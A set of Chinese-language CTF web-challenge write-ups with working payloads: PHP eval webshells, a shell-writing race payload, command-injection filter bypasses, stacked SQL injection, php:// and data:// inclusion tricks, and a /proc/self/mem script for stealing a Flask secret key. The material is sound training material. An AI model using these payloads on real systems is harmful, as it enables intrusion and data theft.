XSWCTF热身赛
ez_php
看到代码:
<?php
include 'flag.php';
extract($_GET);
if (isset($wsf)) {
$xmm = trim(file_get_contents($zm));
if ($xmm == $wsf) {
if (!empty($xlq)) {
$xw = trim(file_get_contents($fn));
if ($xlq === $xw) {
echo "<p>$flag</p>";
} else {
echo '<p>no no no </p>';
}
} else 'You cant do that!!';
} else {
echo 'hacker!!';
}
} else {
highlight_file(__FILE__);
}
?>传入一个wsf,绕过第一个if,第二个是一个弱类型比较,""==""就可以了,第三个是xlq不能为空,随便传一个进去,于是构造出: /?wsf=&zm=php://input&xlq=abc 传入发现echo no no no,于是继续构造,===强比较,利用 data:// 协议
构造出 /?wsf=&zm=php://input&xlq=abc&fn=data://text/plain,abc fn=data://text/plain,abc就相当于直接传入一个内容为abc的文件//text/plain,//text/plain相当于一个存在于服务器的虚拟文件。将次payload传入,成功拿到flag
ez_RCE
看到代码:
<?php
//flag.php
$rce = $_GET['rce'];
if (isset($rce)) {
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}- 由题可知这是一道RCE
- 什么是RCE?
RCE又称远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。 - 两眼一看,怎么全给我过滤了。不过先
/?rce=ls看看有什么文件,发现有flag.php和index.php,猜测flag位于flag.php,于是/flag.php检查一下,发现“yes i'm here”,
说明flag就在这,F12看一下,发现,啥也没有,说明就要使用system()了,然后看一下目录详细信息/?rce=ls${IFS}-la
说明任何用户都可以访问并操作,且两个文件位于同一目录下。
参考:https://zhuanlan.zhihu.com/p/391439312
构造出`http://127.0.0.1:63618/?rce=ca\t${IFS}fla?.php
ca\t使用转义符号绕过检测,
${IFS}绕过空格检测,空格绕过参考:https://blog.csdn.net/qq_43427482/article/details/109725672
fla?.php绕过flag检测,表示匹配 fla 后面跟一个任意字符,也就是只要前三个字母是fla就行,只要就可以同样读到flag.php。 - 于是还原出:cat flag.php
- 访问http://127.0.0.1:63618/?rce=ca\t${IFS}fla?.php,F12一下,拿到flag
WEB
web1

一道文件上传,我测了好多后缀,都不行,最后只能搜题解了。
这是一道利用.user.ini配置文件绕过的web
.user.ini内容:
GIF89a
auto_append_file=test.jpg
.user.ini中两个中的配置就是auto_prepend_file和auto_append_file。这两个配置的意思就是:我们指定一个文件(如test.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),相当于在index.php中插入一句:require(./test.jpg)。这两个设置的区别只是在于auto_prepend_file是在文件前插入,auto_append_file在文件最后插入。
于是将这个.user.ini文件上传,发现filetype报错?因为只接受image/jpeg类型的文件,于是burpsuite抓包改文件类型即可。
随后成功上传,然后再上传提前准备好的木马
test.jpg:
GIF89a
<?= eval($_POST['cmd']); ?>前面GIF89a也是用来假冒jpeg文件的,下面的php代码就是一句话木马
然后用剑蚁连接即可。找找目录,发现flag文件
web2

文件包含,通过提示可以知道flag就在flag.php
于是设置cookie为flag和/var/www/html/flag试试,但是发现没有输出,说明flag.php中没有echo
于是采用php://filter协议
php://filter/过滤器|过滤器/resource=待过滤的数据流构造payload为:
php://filter/convert.base64-encode/resource=/var/www/html/flag
出flag
include 遇到 php://filter/convert.base64-encode/... 这种流封装器时,不会把文件交给 Zend 引擎去执行,而是先按「过滤器」要求把目标文件内容 读出来 → base64 编码 → 返回给当前脚本。
返回的这段 base64 文本被当成「当前脚本的一部分」
这串文本没有被 <?php ... ?> 包裹,所以 PHP 进入 HTML 模式(也叫 T_INLINE_HTML)。
在 HTML 模式下,Zend 会把所有字符原样送到输出缓冲区,等价于做了echo
web3

利用 data:// 协议 先构造出:
/?file1=flag.php&file2=data://text/plain,hello ctf相当于直接传入一个内容为hello ctf的文件//text/plain,可以绕过判断
但是发现只输出了一个WRONG WAY!
说明flag.php中没有echo,于是使用php://filter协议构造出:
/?file1=php://filter/convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf传入后出flag
web4

代码审计
对于 intval($a) > 6000000 && strlen($a) <= 3 的绕过需要采用科学计数法
intval($a):
1.如果 $a 是合法数字串,返回对应整数值;
2.如果 $a 以数字开头,返回前面那部分数字;
3.如果开头不是数字,返回 0;
a=1e8即可绕过
对于substr(md5($b),-6,6)的绕过:
substr(md5($b),-6,6):
对 $b 进行 MD5 哈希,然后取这个哈希值的最后 6 位字符(从倒数第六位开始的后面6位)。
但是由于 MD5 是单向加密,无法逆向推导
于是拿脚本爆破吧:
import hashlib
# 题目要求的最后6位
target = "8b184b"
print(f"正在爆破 MD5 后6位为 {target} 的值...")
# 从 0 开始循环尝试
for i in range(100000000):
# 将数字转为字符串
key = str(i)
# 计算 MD5
# 注意:PHP的md5默认处理的是字符串,所以这里encode
h = hashlib.md5(key.encode('utf-8')).hexdigest()
# 检查哈希值的最后6位是否等于目标
if h[-6:] == target:
print(f"======== 找到答案 ========")
print(f"输入值 ($b): {key}")
print(f"完整哈希: {h}")
break出来应该是:53724
后续绕过!is_numeric(@$c["m"]) && $c["m"] > 2022,只要让c["m"]为2023a就行,因为比较的时候a会被截断出去
$c=(array)json_decode(@$_GET['c']):
讲c以json格式解码
于是c={"m":2023a"}
后续继续if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0]))
于是c更新为:c={"m":"2023a","n":[[],0]}
继续:
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}这块:
foreach($c["n"] as $key=>$val){
含义:开始遍历数组 $c["n"] 中的每一个元素。$val 是当前遍历到的值
array_search 的机制: array_search 函数在数组中搜索某个值,默认使用 弱比较 (==) 模式。
当你让它去搜索字符串 "DGGJ" 时,如果数组里有一个整数 0,PHP 会进行如下比较:
1.0 == "DGGJ"
2.在 PHP 中,非数字开头的字符串转换成数字时会被视为 0。
3.所以 0 == 0 成立。array_search 会认为找到了匹配项,返回键名(例如 1),而不是 false。
foreach 循环里使用的是 强比较 (===)。
1.0 === "DGGJ"
2.强比较要求 类型 和 值 都完全一样。
3.左边是整数 int(0),右边是字符串 string("DGGJ"),类型不同,结果为 False。
c={"m":"2023a","n":[[],0]}符合要求
综上:payload为/?a=1e8&b=53724&c={"m":"2023a","n":[[],0]}
web5
查看robots.txt
发现Disallow: f1ag_1s_h3re.php
结束
Disallow: f1ag_1s_h3re.php表明不让爬虫爬 f1ag_1s_h3re.php
web6
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>构造payload
/?filename=php://filter/convert.base64-encode/resource=flag.php 
发现被过滤了
于是使用 ?filename=1hp://1ilter/1ead=1onvert.1ase64-1ncode/1esource=1lag.1hp 来一个一个试看看哪个被过滤了
把1改回原来的字母即可
最后发现 read base encode 被过滤了。
于是开始绕过
(1)首先对于read的处理可以直接省略: CSDN php伪协议
?filename=php://filter/convert.base64-encode/resource=xxx.php
?filename=php://filter/read=convert.base64-encode/resource=xxx.php两者在效果上区别不大,区别在于使用条件条件:读取需要开启 allow_url_fopen,不加不需要开启 allow_url_include;
(2)接着是对过滤器base64-encode的处理:
由于convert还可以使用,用 convert.iconv.* php://filter中的各种过滤器
使用方法:
convert.iconv.<input-encoding>.<output-encoding>
或者
convert.iconv.<input-encoding>/<output-encoding>这里的
可选项如下:
PHP支持的字符编码
于是构造出 /?filename=php://filter/convert.iconv.UTF-8*.UTF-16*/resource=flag.php
但是这题对于字符编码也有过滤,如果运气不好测不出对的的话,就拿brupsite的集束炸弹爆破吧
web7

一道文件上传题,先试试上传木马php
然后提示只接受图片,于是使用burpsite抓包改包,先把木马文件的后缀改为jpg然后上传,之后再用burpsite抓包并把后缀改回php。
然后返回图片路径
访问图片路径,发现打印ok,说明木马上传成功,然后剑蚂蚁启动
找到flag.php即可
web8
python模板注入
可以看看师傅写的文章,写的非常好非常详细
题解
从零学习flask模板注入
web9
文件竞争
payload:
<?php fputs(fopen("shell2.php","w"),'<?php @eval($_POST["cmd"]); ?>');
phpinfo(); ?>若该文件解析成功则会写入shell2.php,这样写入的文件不是通过上传页面上传的,也就不会被删除。
也就是只要文件被成功访问,代码就会执行
然后两个intruder一个上传一个访问竞争,写入成功后用剑蚁连接
相关做法
web10

又一道文件包含
直接构造 /?filename=php://filter/convert.iconv.UTF-8*.UTF-16*/resource=flag.php /?
提示我用对了过滤器
难道是编码方法用错了吗?
于是集束炸弹
然后找到长度不一样的,出flag
web11--unseping

一道反序列化
序列化说通俗点就是把一个对象变成可以传输的字符串。
反序列化unserialize()就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
当使用unserialize()函数反序列化对象时,__wakeup()函数会触发,然后进入foreach循环,这个循环会检查每个键值对的值是否会被waf过滤,如果被过滤的,当前键值对的值就变成NULL,并 echo "don't hack" ,如果没被过滤,这个键值对就不会变,也就是变量$args不会变了,随后对象摧毁的时候,调用__destruct,进行检查'ping'是否在变量$method中,如果在的话,就回调$this->method这个函数,并把变量$args当初参数传给$this->method这个函数,如果$this->method这个函数就是ping,那么就会接着调用ping函数,ping函数就是执行 $ip 字符串作为系统命令,将输出结果存入 $result 数组,随后var_dump输出 $result 数组
那么对于这个foreach,如果我的代码是这样的:
$command = 'ca\'\'t<fl\'\'ag_1s_here$(printf${IFS}"\57")fl\'\'ag_831b69012c67b35f.p\'\'hp';
$args = array($command);那么$args 的结构就会是:
$args = array(
0 => 'ca\'\'t<fl\'\'ag_1s_here$(printf${IFS}"\57")fl\'\'ag_831b69012c67b35f.p\'\'hp'
)那么第一次循环时, $k=0 , $v='ca\'\'t<fl\'\'ag_1s_here$(printf${IFS}"\57")fl\'\'ag_831b69012c67b35f.p\'\'hp'
所以这样是可以检查是否要被ban的
那么这题的思路就是绕过了,具体的绕过方法这里有讲很多:这里
首先就是ls一下,但是ls被过滤了,所以可以采用 '' 来绕过(如果你用''来声明字符串,记得要转义一下)
后面就是根据ls得出的目录来读取具体文件了,ls后得到:
</code>array(2) {
[0]=>
string(12) "flag_1s_here"
[1]=>
string(9) "index.php"
}
然后就是再ls一下flag_1s_here目录下的文件,然后再cat出来flag文件就可以了捏:)
解题脚本:
<?php
class ease
{
private $method;
private $args;
function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}
}
$method = "ping";
// call_user_func_array第二个参数必须是数组!
//$command = 'l\'\'s${IFS}f\'\'lag_1s_here';
//$command = 'l\'\'s';
$command = 'ca\'\'t<fl\'\'ag_1s_here$(printf${IFS}"\57")fl\'\'ag_831b69012c67b35f.p\'\'hp';
$args = array($command);
$payload = new ease($method, $args);
$serialized = serialize($payload);
echo $serialized . "\n\n";
$base64 = base64_encode($serialized);
echo $base64 . "\n\n";
import requests
url = 'http://61.147.171.35:64395/'
data = {'ctf': 'Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo2OToiY2EnJ3Q8ZmwnJ2FnXzFzX2hlcmUkKHByaW50ZiR7SUZTfSJcNTciKWZsJydhZ184MzFiNjkwMTJjNjdiMzVmLnAnJ2hwIjt9fQ=='
}
response = requests.post(url, data=data)
print(response.text)
' ':单引号(Single Quotes) ->不解析变量,不解析转义(除了 \' 和 \)
" ":双引号(Double Quotes)->解析变量 $var 和特殊转义 \n \t 等
web12--web2
题目:
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str);
// echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}
highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>
解题脚本:
<?php
$miwen = base64_decode(strrev(str_rot13("a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws")));
for ($_0 = 0; $_0 < strlen($miwen); $_0++) {
$_c = substr($miwen, $_0, 1);
$__ = ord($_c) - 1;
$_c = chr($__);
$_ = $_ . $_c;
}
$flag = strrev($_);
echo $flag;
/* $_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c; */web13--warmup
开局先看到一个大滑稽
F12一下,并没有发现什么有用的线索
于是dirsearch扫描
发现几个隐藏文件:
hint:
source:
阅读source发现这题应该是一个文件包含
结合hint,flag应该就在ffffllllaaaagggg文件中
那么就是分析题目了,这里的关键就是代码中的return true ,虽然它有三个,但是我们只需要满足一个就可以成功进入include函数所在的if了,其次就是这个函数:
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')它的意思是先在$page后面拼接一个 ? ,然后再找第一个?位置,最后截取到第一个?前一个字符,并赋值给$_page,
比如:如果$page=source.php?../../../../../ffffllllaaaagggg,那么$_page就=source.php
if (in_array($page, $whitelist)) {
return true;
}这个就是匹配$page和 $whitelist中的值,如果匹配到了就true了,那么依据以上分析,已经有了大致的构建思路了,
于是可以构造出: http://61.147.171.105:58130/index.php?file=source.php?../ffffllllaaaagggg
但发现没有flag输出?
那就路径穿越吧
于是最终payload为: http://61.147.171.105:58130/index.php?file=source.php?../../../../../ffffllllaaaagggg
这里最后 include 执行的文件路径就是: source.php?../../../../../ffffllllaaaagggg 那为什么实际不存在的目录source.php?放在这里不会报错呢,这就涉及到Linux的文件访问机制了:
PHP 的 include 在解析路径时,即使中间某个目录(如 source.php?)在物理上不存在,只要后面有足够的 ../ 能抵消掉它,系统往往能正确跳转到目标文件。
也就是说:
对于 source.php?../../flag,系统看到 source.php?,认为这是一个目录名,紧接着系统看到了 ../,很多系统的路径解析器在处理 目录名/../ 这一组合时,会进行逻辑上的“抵消”。因为它认为“进一个目录再出一层”等同于“留在原地”,所以它有时并不会去严格检查 source.php? 这个文件夹是否真的存在,而是直接把这两段从路径字符串里抹掉。如果 source.php? 作为一个目录被 ../ 抵消了,PHP 最终交给内核去打开的路径可能直接就是 ../../flag
web14--xff_referer
这题就两个知识点:
X-Forwarded-For (XFF):X-Forwarded-For 是一个非标准但广泛使用的 HTTP 请求头,用于识别客户端的真实 IP 地址。(当请求经过代理服务器、负载均衡器或 CDN 时,服务器看到的 IP 是代理的 IP,而不是用户的真实 IP。XFF 用于传递原始客户端 IP。)
Referer:是一个标准 HTTP 请求头,表示当前请求是从哪个页面链接过来的。(Referrer-Policy 响应头可控制发送策略(如只发送域名部分、完全不发送等))
于是用ModHeader修改请求头即可

web15--catcatnew
这玩意真是难度为2的??我做了一万年
开局四个哈基米,感觉没什么线索,点击进入其中一只,发现URL后面传入的参数有 file ,有点像文件包含捏。
于是扫描目录:
可以看到有一个/admin
访问一下,告诉我NoNoNo
到这里线索就断了,于是尝试一下 file=../../../../../../etc/passwd 
有回显,说明存在文件读取漏洞
并且可以看到这里回显了 /bin/ash,而不是 /bin/bash,说明这极大可能是一个Docker容器
接下来就是验证采用的框架,读取当前进程的命令行参数。?file=../../../../../../proc/self/cmdline。
发现有一个通过python启动app.py的命令。所以该网站是一个python框架。根据app.py可以知道是flask框架。(该文件常常为flask项目结构中的主程序文件。)
然后读取app.py,并将回显的代码格式化,可以得到源码:
import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat
flag = ""
app = Flask(
__name__,
static_url_path='/',
static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag")
@app.route('/', methods=['GET'])
def index():
detailtxt = os.listdir('./details/')
cats_list = []
for i in detailtxt:
cats_list.append(i[:i.index('.')])
return render_template("index.html", cats_list=cats_list, cat=cat)
@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
return render_template("detail.html", catname=name, info=cat(filename, start, end))
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1:
return flag
else:
session['admin'] = 0
return "NoNoNo"到这里我们的目标就很确定了,那就是修改session中的admin为1来return flag
但是 flask_session 需要一个SECRET_KEY,所以我们还差最后一个SECRET_KEY来伪造session,怎么找这个SECRET_KEY呢?
求助AI:
在 app.py 源码里,有一行代码:app.config['SECRET_KEY'] = str(uuid.uuid4()) + "*abcdefgh"
这行代码告诉我们:密钥是随机生成的。程序每次启动,这个密钥都会变。我们没法在代码里直接看到它,因为它是运行在内存里的。
UUID 的全称是 Universally Unique Identifier(通用唯一识别码)。它的标准形式是一个 32 位的十六进制数字,通常用连字符分为五段,长得像这样:
f47ac10b-58cc-4372-a567-0e02b2c3d479
它的设计目标是:让分布式系统中的每一台机器都能独立生成 ID,且保证全世界范围内不会有两个一模一样的 ID 产生。
UUID 有好几个版本,生成逻辑各不相同:
UUID1:基于时间戳和机器的 MAC 地址(物理网卡地址)。这种 ID 是有迹可循的,甚至能通过 ID 反推生成时间。
UUID4:纯随机生成。它不依赖时间,也不依赖机器硬件,而是完全利用计算机的随机数发生器产生。
通过 uuid.uuid4() 随手抓一个随机数作为密钥,这个密钥就只存在于这台服务器此时此刻的内存条里。(当 Python 解释器运行这行代码时,它会去“随机抓一个数”,并把这个数存入内存RAM中分配给这个程序的一块空间里。)于是这个密钥就存在于此时此刻的内存条了
于是,既然密钥存在于
RAM中,我们就可以通过访问内存来找出密钥但是要怎么访问内存呢?
Linux 系统为了调试和系统管理的方便,设计了一个名为 /proc 的伪文件系统,提供了在运行时访问内核内部数据结构、改变内核设置的机制,用户和应用程序可以通过 /proc 得到系统的信息,并改变内核的某些参数。
虽然它看起来像文件夹和文件,但它并不存在于硬盘上。当你读取 /proc/self/mem 时,Linux 内核实际上是在实时读取那根物理内存条上的电子数据,并把它“翻译”成文字给你看。
所以我们当前的目标就是访问 /proc/self/mem ,因为它是一个二进制流文件,映射了进程在内存条上占用的每一位数据。里面有用户上传的临时文件内容,有程序运行到一半的计算结果,也就是说里面有刚刚生成的 SECRET_KEY 字符串,但是这么多内存地址,内存非常大,且有很多空洞,要访问哪个呢?直接全部读取肯定是不可能读出来的
所以我们还需要访问 /proc/self/maps ,它记录了当前进程(Web服务)所有的虚拟内存分配情况。每一行都代表一个内存段,存放了:地址范围,访问权限,映射对象
随后一旦我们从 maps 里拿到了地址,我们就去 mem 这个文件里的相应位置读取出SECRET_KEY即可,但是又有一个问题,如何定位到maps里的哪段地址存储了密钥,这里我们可以用正则表达式来匹配。因为我们只想要那些权限是 rw-p,这里
最核心的原因是:SECRET_KEY 是一个在程序运行过程中被“写”进去的变量,而且后续代码需要验证 session,去调用 app.config['SECRET_KEY'] 的时候,程序会去读这块内存。所以要找可读写的区域。
最后在mem中用正则表达式来匹配*abcdefgh即可。
那么整体的思路已经清晰了,所以可以搓出来了。
先访问maps:
它是 Linux 系统中每个进程虚拟内存的映射信息,每一行表示一个内存区域的描述,对应:地址范围,权限,偏移量,设备标识,inode 信息,映射文件等信息。
随后利用脚本去mem找出SECRET_KEY:
import requests
import re
# 题目地址
BASE_URL = "http://61.147.171.35:49301"
INFO_URL = f"{BASE_URL}/info"
# 你发给我的 maps 数据(我简化成需要扫描的 rw-p 段)
maps_raw = """
55cb98965000-55cb98969000 rw-p 00000000 00:00 0 [heap]
7f4c83e80000-7f4c83fc5000 rw-p 00000000 00:00 0
7f4c83ff9000-7f4c84039000 rw-p 00000000 00:00 0
7f4c85b15000-7f4c85b36000 rw-p 00000000 00:00 0
"""
def find_secret_key():
# 提取所有 rw-p 段的起始和结束地址
pattern = re.compile(r'([0-9a-f]+)-([0-9a-f]+) rw-p')
segments = pattern.findall(maps_raw)
for start_hex, end_hex in segments:
start = int(start_hex, 16)
end = int(end_hex, 16)
print(f"[*] 正在扫描内存段: {start_hex} - {end_hex} (大小: {end-start} bytes)")
# 构造请求,读取该段内存
params = {
'file': '../../../../proc/self/mem',
'start': start,
'end': end
}
try:
response = requests.get(INFO_URL, params=params, timeout=10)
# 这里的 response 内容可能是二进制,我们需要寻找 *abcdefgh
content = response.content
# 寻找后缀 "*abcdefgh"
if b"*abcdefgh" in content:
print(f"[!] 发现潜在 SECRET_KEY 区域!")
# 提取这一段字符串(UUID长度32位 + 后缀)
# 我们找类似 [32位随机字符]*abcdefgh 的东西
match = re.search(b'[a-f0-9]{32}\*abcdefgh', content)
if match:
key = match.group().decode()
print(f"\n[+] 成功找到 SECRET_KEY: {key}")
return key
except Exception as e:
print(f"[x] 扫描段 {start_hex} 失败: {e}")
print("[-] 未能在这些段中找到 Key,请尝试添加更多 maps 里的 rw-p 段。")
return None
if __name__ == "__main__":
secret_key = find_secret_key()
AI神力!!!
之后利用 flask_session_cookie_manager 去伪造 cookie 即可:
最后:
回到浏览器,访问 /admin,按 F12 -> Cookies,把原本的 session 对应的值删掉,换成这个新session,然后刷新一下
终于爆flag了 T~T
web16--supersqli
一道sql注入
这里先试试几个不同的 id ,发现只有id为1和2时有回显。(这里还不知道具体列名,先用id代替)
用 1' or 1=1 # 试试,发现成功列出了当前的所有行,说明可以利用堆叠注入。
然后使用 1'; show tables; # 把所有表名都列出来。
flag大概就在名为 1919810931114514 的表了,现在就是要看一下这个表的所有列名,利用 1'; show columns from 1919810931114514; # 来看。表名两边记得加上反引号 ` (必须用反引号把这一串字符包起来才能表示表名)
可以看到有一个名为flag的列,flag应该就在这列里了。于是使用 1';SELECT flag FROM 1919810931114514; # 来查看flag这一列。
可以看到 select 这个语句被过滤了。
通过前面的流程可以知道该网页是默认查询 words 表的,也就是内部逻辑应该是: SELECT * FROM words WHERE 列名 = '***'
那我把存放flag的那个表的名字改为 words 就可以了。
但是这里的话还需要用 1';show columns from words; # 来查一下这个数据库的默认查询列名是什么。
这里可以确定默认查询列名就是 id 了,于是内部的默认逻辑就是 SELECT * FROM words WHERE id = '***'
于是我可以先修改表名,再修改列名(1919810931114514改为words,flag改为id)。
利用 1'; rename table wordstowords1; rename table 1919810931114514towords; alter table wordschange flag id varchar(100); # 即可,这边注意一下要先把原words改名为其他表名给后续的修改腾出地方。
随后再利用1' or 1=1 #即可爆flag了。
RENAME TABLE 旧名 TO 新名; —— 用来给表改名。
ALTER TABLE 表名 CHANGE 旧列名 新列名 类型; —— 用来给列改名。
web17--command_execution

一个ping功能,众所周知绝大部分 Web 服务器都运行在 Linux 系统上,再结合题目的描述,应该是在IP后面拼接上想要执行的命令。先输入127.0.0.1看看能不能正常回显,后发现回显正常,于是开始测试拼接命令。
输入127.0.0.1 && ls
可以看到成功运行了ls命令,当前目录下只有一个index文件。
输入127.0.0.1 && find / -name "flag*"继续寻找flag文件。
后发现出现了一个路径: /home/flag.txt ,于是利用 127.0.0.1 && cat /home/flag.txt 读取文件获得flag即可。
web18--Web_php_include

一道文件包含,可以看到小写php已经被过滤了,但是双写绕过和大写绕过都可以,这里二选一即可。
大写绕过:?page=PHP://filter/read=convert.base64-encode/resource=flag.php
双写绕过:?page=pphp://hp://filter/read=convert.base64-encode/resource=flag.php这里由于我不知道flag文件在哪里,叫什么,所以先用data协议ls一下:
?page=data://text/plain,<?php system("ls"); ?> 
爆flag文件了,然后可以利用php伪协议来读取文件的base64编码了。
但其实这题的方法真的非常多:
第一种:利用php伪协议,随后base64解码即可:
?page=PHP://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php 
第二种:利用data伪协议,随后ctrl+u查看源码 因为利用这个指令的话浏览器不会显示出当前flag:
?page=data://text/plain,<?php system("cat fl4gisisish3r3.php"); ?> 
当你执行 cat fl4gisisish3r3.php 时,服务器会把那个文件的内容读取出来并显示在页面上。
但是,fl4gisisish3r3.php 的内容通常是这样的:<?php $flag = "cyber_omikuji{xxxx}"; ?>
浏览器接收到这段代码后,看到 <?php 标签,会认为这是它不需要显示的标签,因为如果遇到 <div>、<a>、<p>:这是标准的 HTML 标签,浏览器知道如何渲染它们,如果遇到 <?php ... ?> 或 <iamnotatag>:浏览器在 HTML 标准里找不到这些定义,它会认为这是一个无效的或自定义的标签。
第三种:利用data伪协议,输出base64编码随后解码?page=data://text/plain,<?php system("cat fl4gisisish3r3.php | base64"); ?> 
服务器返回给浏览器的原始数据:PD9waHAgJGZsYWc9ImN0Znt4eHh9IjsgPz4=
全是字母和数字,没有 < 或 >。浏览器认为这是纯文本,于是直接显示在屏幕上。
随后base64解码即可
绕过过滤总结
| 被过滤 | 绕过写法 | 实际效果 |
|---|---|---|
cat | ca''t (用''声明字符串时记得转义',例如ca\'\'t) | bash 会把 '' 当作空字符串,拼接成 cat |
cat | c\at | 反斜杠转义,还是 cat |
cat | c""at | 空字符串 |
| 空格 | ${IFS} | bash 的 Internal Field Separator,默认是空格 |
| 空格 | < | 重定向 |
/ | ${PATH:0:1} (此时要用''声明,防止将${PATH:0:1}解析成变量名) | 取环境变量第一个字符 / |
/ | $(printf${IFS}"\57") | 命令替换 |
Linux敏感文件

截图来源:博客园
Linux下 /proc/self 核心文件功能表
| 文件名 | 核心作用 | 详细功能说明 | 潜在泄露的敏感信息 |
|---|---|---|---|
cmdline | 启动命令 | 记录进程启动时的完整命令行参数,参数间以 \0 (NUL) 分隔。 | 暴露运行环境 (如 Python/PHP)、启动参数、隐藏的明文密码、脚本路径。 |
maps | 内存布局 | 实时映射进程的虚拟地址空间,标注各内存段的起始/结束地址及权限 (rwx)。 | 暴露 堆 (Heap) 与栈 (Stack) 地址、加载的动态库 (.so) 路径、内存段访问权限。 |
mem | 内存内容 | 进程虚拟内存的二进制映射接口,支持按地址偏移量进行读写。 | 暴露程序运行时的所有实时变量、解密后的 Key/Token、用户提交的敏感数据。 |
environ | 环境变量 | 记录进程启动时注入的所有环境变量(键值对形式)。 | 泄露数据库连接字符串、API 密钥、系统路径配置、容器部署信息。 |
cwd | 当前目录 | 一个符号链接,指向进程当前正在运行的绝对路径(工作目录)。 | 泄露源码存放路径、Web 根目录位置、程序安装位置。 |
exe | 可执行程序 | 一个符号链接,指向该进程对应的二进制可执行文件。 | 可用于提取二进制文件进行离线反汇编 (Reverse Engineering) 分析。 |
fd/ | 文件描述符 | 一个目录,包含进程当前打开的所有文件、Socket 和管道的链接。 | 泄露正在读写的临时文件、日志文件、网络连接 (IP/Port) 信息。 |
status | 进程状态 | 提供进程的综合状态信息,包括 UID/GID、内存消耗、线程数等。 | 暴露进程的运行权限等级、是否处于被调试状态、内存峰值。 |
Linux 命令连接符
| 连接符 | 名称 | 逻辑说明 | 常用场景 |
|---|---|---|---|
; | 分号 | 无条件执行。先执行 A,再执行 B,无论 A 是否成功。 | 想一口气运行多个不相关的命令。 |
& | 后台符 | 并行执行。让 A 在后台运行,同时开始执行 B。 | 绕过某些前端等待限制,或同时启动多个进程。 |
&& | 逻辑与 | 成功后执行。只有当 A 执行成功时,才执行 B。 | 确保前一步没报错,再执行下一步。 |
∣∣ | 逻辑或 | 失败后执行。只有当 A 执行失败时,才执行 B。 | 容错处理,或者在 A 被拦截时尝试 B。 |
∣ | 管道符 | 结果传递。把 A 的输出内容,交给 B 当作输入参数。 | 过滤信息,如 ls ∣ grep flag。 |